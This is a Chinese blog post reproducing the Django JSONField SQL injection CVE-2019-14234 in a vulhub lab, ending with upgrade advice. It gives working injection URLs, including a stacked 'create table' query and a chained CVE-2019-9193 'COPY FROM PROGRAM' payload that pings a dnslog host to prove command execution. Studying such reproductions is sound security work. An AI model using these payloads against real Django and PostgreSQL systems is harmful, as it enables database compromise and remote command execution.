Java基本数据类型 Appuim环境搭建 Python xcode hive uiviewcontroller insert cocos2d html5 jquery去除空格 jq获取元素 python数据挖掘实战pdf bootstrap时间轴 oracle删除字段 hbase端口 python多线程 python随机函数 python课程 python命令 python条件判断 java开发环境 java语法 java定义接口 java获取时间 java文件复制 php项目实例 心理学与生活下载 系统集成项目管理工程师教程 Ext2Fsd 视频字幕提取器 3389扫描器 电脑基础 英雄联盟崩溃 bz2 博途v14安装教程 js发送http请求 ps镜头校正 主播音效 小米账号怎么退出 太阳代理ip 服务器系统安装教程
当前位置: 首页 > 学习教程  > 编程语言

Django CVE-2019-14234

2020/9/19 13:39:27 文章标签:

CVE-2019-14234:Django JSONField SQL注入漏洞复现

  • 你剥开一个很酸的橙子而感到后悔了,可对于橙子来说,那是它的一切.

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。

漏洞概述:

Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。

通过JSONField类获得KeyTransform类并生成sql语句的位置。
其中key_name是可控的字符串,最终生成的语句是WHERE (field->’[key_name]’) = ‘value’,因此可以进行SQL注入。

漏洞版本:

  • Django
    1.11.x before 1.11.23
    2.1.x before 2.1.11
    2.2.x before 2.2.4

漏洞复现:

  1. vulhub搭建,进行访问
    在这里插入图片描述

  2. 通过对代码的分析,可以知道如果在你的Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入
    在这里插入图片描述

  3. 访问http://ip:8000/admin输入用户名admin ,密码a123123123
    在这里插入图片描述

  4. 然后访问http://ip:8000/admin/vuln/collection/
    在这里插入图片描述

  5. 构造URL进行查询,可以看到已经注入成功,并且可以看到构造的SQL语句
    http://ip:8000/admin/vuln/collection/?detail__a%27b=123
    在这里插入图片描述
    7.下一步结合CVE-2019-9193我们尝试进行命令注入,构造url如下
    ?detail__title’)%3d’1’ or 1%3d1 %3bcreate table cmd_exec(cmd_output text)–%20
    在这里插入图片描述

  6. 然后用dnslog检测是否可以执行命令
    http://192.168.224.128:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20wyz26d.dnslog.cn%27–%20

  7. 成功检测到流量
    在这里插入图片描述

漏洞修复:

  • 升级升级升级。

    余生很长,请多指教。
    在这里插入图片描述


本文链接: http://www.dtmao.cc/news_show_200039.shtml

附件下载

相关教程

    暂无相关的数据...

共有条评论 网友评论

验证码: 看不清楚?